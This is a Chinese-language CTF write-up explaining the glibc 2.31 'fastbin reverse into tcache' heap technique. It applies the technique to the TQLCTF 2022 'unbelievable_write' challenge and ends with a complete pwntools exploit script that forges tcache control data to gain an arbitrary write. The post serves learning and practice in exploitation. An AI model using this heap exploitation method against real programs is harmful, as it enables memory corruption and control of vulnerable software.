fastbin-reverse-into-tcache

发现自己的基础还是薄弱。参加TQLCTF一道题也不会做,看了wp,发现需要这种攻击方法。于是才过来学。本篇包含了tcache结构图。

原理

回想一下之前的tcache_stashing_unlink_attack,最重要的特征是calloc,需要能够越过tcache获取块。这里的fastbin-reverse-into-tcache不需要calloc,但是也和堆块被重新放入tcache紧密相关。这里主要基于2.31和how2heap学习。

我们先malloc14个堆块,放7个填满tcache。free一个victim堆块(我们可以修改bk指针的),之后再free1到6个堆块(这里个数不太重要,可以根据题目限制free,个数只和栈上数据相关。如果我们要分配到的栈地址上偏移为0x8的位置为0(也就是NULL)那么我们只需要free1个即可。否则将会向前追溯栈上的bk位置,导致segmentation fault

在how2heap中,由于栈上数据被填充成垃圾数据,free了7个堆块。下图为攻击前正常的堆块。

image-20220223100034348

接下来,我们修改victim的fd位置为栈(注意,由于victim第一个进入fastbin,因此他被放在fastbin的末尾)。并且malloc7次,拿出来tcache中的所有堆块。如下图

image-20220223100459737

关键点在这里。此时如果我们试图malloc一个0x48的堆块,会从fastbin中取出一个,之后fastbin中剩下的堆块就会被放回到tcache(这里和tcache_stashing_unlink_attack很相似)由于放回的顺序是从fastbin头部取出,放到tcache头部,因此顺序是反的。也就是我们的栈将会被放在tcache的头部。如下图

image-20220223101314339

由于tcache不检查大小,我们相当于完成了一次任意地址分配。

要求2.31

  1. 可以修改位于fastbin中chunk的bk指针
  2. 可以释放至少8个chunk,如果target地址有垃圾数据(例如栈)则需要14次分配释放

效果

  1. 一个任意地址堆块的分配(任意地址写入)

  2. 写入一个堆地址(上图0x7fffab165ce0位置上被写入堆地址)

简化流程

  1. 填满tcache,第八个块记作victim。
  2. 再根据要求释放6个块或者1个(是否有垃圾数据,一般就6个块)到fastbin
  3. 从tcache中取出所有bins
  4. 将victim的bk改为想要分配的地址(应该是位于fastbin的末尾)
  5. (检查此时:tcache为空,fastbin有7个正常堆块,最后一个为目标堆块)
  6. malloc一个fastbin的,此时tcache将被填满,第一个堆块是目标堆块

例子

这里例子就采用tqlctf2022的一道unbelievable_write来练习。下载以及exp

这个题目的libc2.31的,因为dockerfile里面写的是20.04.

查看保护发现没有开启PIE,并且要求我们往target写入任意一个数值改掉原来的就算成功

image-20220223102610057

image-20220223102505734

看一下给定的操作有什么。

c1函数允许我们分配一个任意大小的堆块,然后就会立即释放。这里立即释放有些困难,因为释放就会导致数据被清除,并且无法控制bins。当时就是在这里卡住不会了。

image-20220223102700648

c2允许我们任意释放一个地址。注意v1可以为负,也就是说我们可以free掉tcache管理块。

image-20220223102838274

思路

由于没有限制任意free的chunk位置,可以free掉tcache管理块,构造管理块数据,先伪造tcache已满,再伪造fastbin,再使用上述攻击方法。不能直接往tcache里面写这个堆块的地址。因为malloc之后就要进行free,会检查堆块size位置,这里因为没有size会直接结束。因此要用能够写入一个大数的方法。这里采用的是fastbin reverse into tcache。

这里比较关键的一步是获取tcache管理块的写权限。也就是给定的c3函数。

1
delete(-0x290) # 释放tcache管理块

注意

这里一个特别关键的地方:fastbin的大小范围是0x20到0x90,我们在把堆块放入fastbin的时候,需要tcache size位置满,这一点可以用tcache管理块在bins中后面加上一块chunk来做到(也就是写了tcache管理块的fd位置,这里也正是fastbin chunk个数所在的位置)。如下图就是通过0x290chunk的fd控制了0x20位置的个数。

image-20220223160940584

接下来通过malloc管理chunk,修改对应bins中最低地址(其中最低地址预先写为0x21)来伪造拿到0x21的块,接着释放就到了fastbin中。

但是还有一点:我们在reversing攻击的时候,要求tcache的0x20位置个数为0,不然无法放入Bins。又需要把0x290后面的chunk拿出来。但是程序刚malloc完就free,看似无法做到?

实际上可以在malloc出来0x290的块的时候,直接写入0x290位置为0(拿出来管理chunk之后,上图中0x155e2c0就会被放到管理块0x290位置上,此时设置为空,再free的时候,0x290的后面就只剩下自己一个了)

image-20220223161511495

1
fake_t = p16(0)*8*4+p16(0)*8*4+p64(0)*40 # reset tcache to null

这里顺便记录一下tcache结构。下图和pwndbg中看到的结构一样。顺序看起来很奇怪是因为地址的原因。不熟悉的话可以自己调试一下。(保存在tcache结构.xlsx中)

tcache结构2.31

还有一点需要注意:为了修改victim的bk,我们需要一个越界写,这个可以通过将第一个free的chunk的size改大而不是0x21就可以做到。如下,低字节释放0x401对应的chunk,就可以再拿回来写后面chunk的bk位置。

1
pay_large = p64(0)*3+p64(0x401)+(p64(0)+p64(0x21))*0x7

这题知道这些差不多就能做了。但是还有一个比较坑的地方,就是这里puts是没有初始化buffer的。导致后面输出flag的时候报malloc的错(也是很无语)要在之前输出一次no,初始化了buffer即可。

填充fastbin

如下为完成了攻击

fastbin_reversing_into_tcache

以下为改掉之后的target

修改过后的target

image-20220223164743741

完整exp

注释比较多,懒得删掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
filename="./pwn"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=elf.libc
context.terminal=['tmux','split','-hp','60']

def choice(idx):
io.sendlineafter("> ",str(idx))

def add(sz,con):
choice(1)
sleep(0.1)
io.sendline(str(sz))
sleep(0.1)
io.sendline(con)
# sa("content?",cno)

def delete(idx):
choice(2)
sleep(0.1)
io.sendline(str(idx))


def getflag():
choice(3)

def debug():
gdb.attach(io,"b *0x40153E")

# alloc a large chunk prepare to overwrite bk
payload1 = p64(0)*3 + p64(0x400)
add(0x288,payload1) # onlu used to set bk not null
# gdb.attach(io,"b *0x4013FD")
# free control chunk
# sleep(0.1)
# gdb.attach(io,"b *0x4013BF") # break at 2
# each free, put a 0x20 chunk into bins. so we need chunks with 0x21 first
pay_large = p64(0)*3+p64(0x401)+(p64(0)+p64(0x21))*0x7
pay = p64(0)+p64(0x21)
add(0x98,pay_large) # into tcache
add(0xa8,pay*10)
add(0xb8,pay*11)
add(0xc8,pay*12)
add(0xd8,pay*13)
add(0xe8,pay*14)
add(0xf8,pay*15)
add(0x108,pay*16)
add(0x118,pay*17)
# debug()
delete(-0x290)
# gdb.attach(io,"b *0x4013BF") # break at 2
choice(2)
add(0x288,p64(0)*2+p16(0x8)*4*3) # set all 7, then freed
# debug()
add(0x288,p64(0)*2+p16(0x8)*4*3+p16(0x1)*4*8+p64(0)*0xb+p8(0x70)) # change first block
# gdb.attach(io,"b *0x401387") # b malloc
add(0x98,'a') # freed 0x400 chunk, to overwrite bk

# badluck chunk
# add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*5+p64(0)*0xf+p8(0xe0))
# # gdb.attach(io,"b *0x4013A8") #b free
# add(0xa8,'a') # freed 0x20 into fastbin

add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0xa+p8(0xc0))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0xb8,'a') # fastbin 1,victim

add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0xb+p8(0x80))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0xc8,'a') # fast2


add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0xc+p8(0x50))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0xd8,'a') # fast3

add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0xd+p8(0x30))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0xe8,'a') # fast4

add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0xe+p8(0x20))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0xf8,'a') #fast5

add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0xf+p8(0x20))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0x108,'a') #fast6


add(0x288,p16(0x7)*4*2+p16(0x8)*4*3+p16(0x1)*4*0xb+p64(0)*0x10+p8(0x30))
# gdb.attach(io,"b *0x4013A8") #b free
# gdb.attach(io,"b *0x401387")
add(0x118,'a') #fast7

# malloc one 0x400 and overwrite victim's bk
payload = b'\x00'*0x148+p64(0x21)+p64(0x404070)
# gdb.attach(io,"b *0x4013A8") #b free
add(0x3f8,payload) # check last chunk

# release the padding chunk, changing the 0x400 chunk
# gdb.attach(io,"b *0x401387")
fake_t = p16(7)*8*4+p16(1)*8*4+p64(0)*40 # reset tcache
# debug() # show in blog
add(0x280,fake_t) # reput after changed the padding one, so 0x20 is empty now
# debug()
add(0x18,'a') # fastbin reverse into tcache

fake_t = p16(0)*8*4+p16(0)*8*4+p64(0)*40 # reset tcache to null
# debug() # show in blog
add(0x280,fake_t) # reput after changed the padding one, so 0x20 is empty now


# gdb.attach(io,"b *0x4013BF")
choice(2)
# gdb.attach(io,"b *0x401387") # b malloc
# add(0x18,'a') # write into target
# gdb.attach(io,"b *0x401444")
getflag()

io.interactive()

文章目录
  1. 1. 原理
    1. 1.1. 要求2.31
    2. 1.2. 效果
    3. 1.3. 简化流程
  2. 2. 例子
    1. 2.1. 思路
    2. 2.2. 注意
    3. 2.3. 完整exp
|